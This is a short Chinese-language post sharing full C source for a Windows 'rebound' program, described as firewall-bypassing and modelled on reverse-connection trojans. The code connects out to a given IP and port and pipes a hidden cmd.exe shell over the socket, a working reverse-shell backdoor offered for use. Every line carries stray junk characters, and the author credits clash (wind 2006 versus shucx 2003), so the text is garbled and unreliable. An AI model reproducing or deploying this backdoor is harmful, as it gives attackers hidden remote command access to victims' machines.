这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '[WL8,.Q
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/* ============================== -0^]:
Rebound port in Windows NT g=t`3X#d
By wind,2006/7 v'i'I/
===============================*/ KZ%i&w#<
#include *S}@DoXS
#include $Lp [i
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#pragma comment(lib,"wsock32.lib") FoetP`
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void OutputShell(); `6~0W5
SOCKET sClient; u#Ig!7iUu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W0f^!}f(
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void main(int argc,char **argv) i47LX;}
{ zP,r,ok7
WSADATA stWsaData; 4k225~GQ:C
int nRet; \\R}3 >Wc
SOCKADDR_IN stSaiClient,stSaiServer; E]'
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if(argc != 3) Rge>20uTl$
{ wOf8\s1
printf("Useage:\n\rRebound DestIP DestPort\n"); UH MJ(.Wa-
return; +Vk L?J
} 8._uwA<[
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WSAStartup(MAKEWORD(2,2),&stWsaData); a^%)6E.[,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +0&^.N
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stSaiClient.sin_family = AF_INET; `E$vWZq}
stSaiClient.sin_port = htons(0); \E?3nQM
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nB`|VYmOP1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PZ|I3z
{ ;5ki$)v"
printf("Bind Socket Failed!\n"); =Ydrct
return; Tdcc<T
} gML8lu0)
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stSaiServer.sin_family = AF_INET; v%:deaF
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E<jajYj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Lng. X8D
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~]-n%J$q
{ M G$+Blw>
printf("Connect Error!"); 8JY0]G6
return; !i torSl
} i M !`4
OutputShell(); #uU(G\^T
} IB;yL/T
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void OutputShell() .Exvuo`F
{ g[(@@TiG
char szBuff[1024]; .aT@'a{F
SECURITY_ATTRIBUTES stSecurityAttributes; 7su2A>Ix
OSVERSIONINFO stOsversionInfo; qTJ0}F
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dcY(1p)
STARTUPINFO stStartupInfo; D\THe-Vtr
char *szShell; zpwoK&T+
PROCESS_INFORMATION stProcessInformation; %'1iT!g8
unsigned long lBytesRead; KVOV<uDCj
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2 q4p-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); MSmr7%g3D
stSecurityAttributes.lpSecurityDescriptor = 0; .z gh,#=
stSecurityAttributes.bInheritHandle = TRUE; Br!;Ac&N
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7Vy_Cec1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u1 Q;M`+>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1L*[!QT4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?(gha
stStartupInfo.wShowWindow = SW_HIDE; + Tp% *
stStartupInfo.hStdInput = hReadPipe; W\~ie}D{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mS'Ad<
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GetVersionEx(&stOsversionInfo); C7dq=(p&
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switch(stOsversionInfo.dwPlatformId) sMMOZ'bT
{ 7y=O!?*
case 1: {rcN_N%
szShell = "command.com"; mFTuqujO
break; i F+:j8
b
default: $l*?Ce:
szShell = "cmd.exe"; )8C`EPe
break; DP),~8
} ]R""L<K%HF
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JH\:9B+:L
4*}&nmW
send(sClient,szMsg,77,0); 2A\b-;4EP
while(1) r<ww%2HTS
{ Rj";?.R*e
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 71@eJQ
if(lBytesRead) .jD!+wv{9
{ HX2u{2$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); * F%1~
send(sClient,szBuff,lBytesRead,0);
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} yzK<yvN
else %Lh%bqGz
{ hZ 1enej)
lBytesRead=recv(sClient,szBuff,1024,0); lNxP
if(lBytesRead<=0) break; |p/*OFC6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /p<9C?
}
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} l+6c|([
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return; )>1}I_1j)
}